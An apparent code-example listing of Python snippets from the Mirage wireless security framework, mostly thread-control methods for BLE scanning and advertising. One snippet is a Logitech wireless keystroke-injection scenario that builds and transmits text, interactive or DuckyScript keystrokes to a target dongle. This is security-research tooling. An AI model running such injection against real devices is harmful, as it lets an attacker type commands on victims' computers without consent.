示例#1
0
文件: sniffle.py 项目: RCayre/mirage
    def setScan(self, enable=True):
        '''
		This method enables or disables the scanning mode. It allows to change the channel according to the scan interval parameter.

		:param enable: boolean indicating if the scanning mode must be enabled
		:type enable: bool

		:Example:

			>>> device.setScan(enable=True) # scanning mode enabled
 			>>> device.setScan(enable=False) # scanning mode disabled

		.. note::

			This method is a **shared method** and can be called from the corresponding Emitters / Receivers.

		'''
        if enable:
            self.sniffAdvertisements()
            if self.scanThreadInstance is None:
                self.scanThreadInstance = wireless.StoppableThread(
                    target=self._scanThread)
                self.scanThreadInstance.start()
        else:
            self.scanThreadInstance.stop()
            self.scanThreadInstance = None
示例#2
0
文件: hackrf.py 项目: RCayre/mirage
	def setAdvertising(self,enable=True):
		'''
		This method enables or disables the advertising mode.

		:param enable: boolean indicating if the advertising mode must be enabled
		:type enable: bool

		:Example:

			>>> device.setAdvertising(enable=True) # advertising mode enabled
			>>> device.setAdvertising(enable=False) # advertising mode disabled


		.. warning::
			Please note that if no advertising and scanning data has been provided before this function call, nothing will be advertised. You have to set the scanning Parameters and the advertising Parameters before calling this method.


		.. note::

			This method is a **shared method** and can be called from the corresponding Emitters / Receivers.

		'''
		if enable:
			if self.advThreadInstance is None:
				self.receivePipeline.stop()
				self.transmitPipeline.start()
				self.advThreadInstance = wireless.StoppableThread(target=self._advertisingThread)
				self.advThreadInstance.start()
		else:
			if self.advThreadInstance is not None:
				self.advThreadInstance.stop()
				self.transmitPipeline.stop()
				self.advThreadInstance = None
				self.receivePipeline.start()
示例#3
0
	def startFollowing(self):
		if self.checkActiveScanningCapabilities():
			self.followThread = wireless.StoppableThread(self._pingPRX)
			self.followThread.start()
			return True
		else:
			io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to perform an active scan, follow mode not in use.")
			return False
	def onStart(self):
		self.emitter = self.module.emitter
		self.receiver = self.module.receiver
		self.target = utils.addressArg(self.module.target)
		self.lock = Lock()

		io.info("Following mode disabled by the scenario.")
		self.module.stopFollowing()


		io.info("Generating attack stream ...")
		attackStream = self.startLogitechInjection()
		self.mode = None
		if "TEXT" in self.module.args and self.module.args["TEXT"] != "":
			self.mode = "text"
			text = self.module.args["TEXT"]
			io.info("Text injection: "+text)
			attackStream += self.addLogitechDelay(duration=100)
			attackStream += self.addLogitechText(text)
		elif "INTERACTIVE" in self.module.args and utils.booleanArg(self.module.args["INTERACTIVE"]):
			self.mode = "interactive"
			io.info("Interactive mode")
			self.keepAliveThread = wireless.StoppableThread(self.keepAlive)
			self.keepAliveThread.start()
		elif "DUCKYSCRIPT" in self.module.args and self.module.args["DUCKYSCRIPT"] != "":
			self.mode = "duckyscript"
			io.info("Duckyscript injection: "+self.module.args["DUCKYSCRIPT"])
			parser = parsers.DuckyScriptParser(filename=self.args["DUCKYSCRIPT"])
			attackStream = parser.generatePackets(
				textFunction=self.addLogitechText,
				initFunction=self.startLogitechInjection,
				keyFunction=self.addLogitechKeystroke,
				sleepFunction=self.addLogitechDelay
				)
		else:
			io.fail("You must provide one of the following parameters:\n\tINTERACTIVE : live keystroke injection\n\tTEXT : simple text injection\n\tDUCKYSCRIPT : duckyscript injection")
			self.module.stopScenario()
			return True

		io.info("Looking for target "+str(self.target)+"...")
		while not self.emitter.scan():
			utils.wait(seconds=0.1)

		io.success("Target found !")
		
		io.info("Injecting ...")
		self.emitter.sendp(*attackStream)
		if self.mode != "interactive":
			while not self.emitter.isTransmitting():
				utils.wait(seconds=0.5)
			while self.emitter.isTransmitting():
				utils.wait(seconds=0.5)
			self.module.stopScenario()
		return True
示例#5
0
文件: btlejack.py 项目: RCayre/mirage
 def _startSweepingThread(self):
     self._stopSweepingThread()
     self.sweepingThreadInstance = wireless.StoppableThread(
         target=self._sweepingThread)
     self.sweepingThreadInstance.start()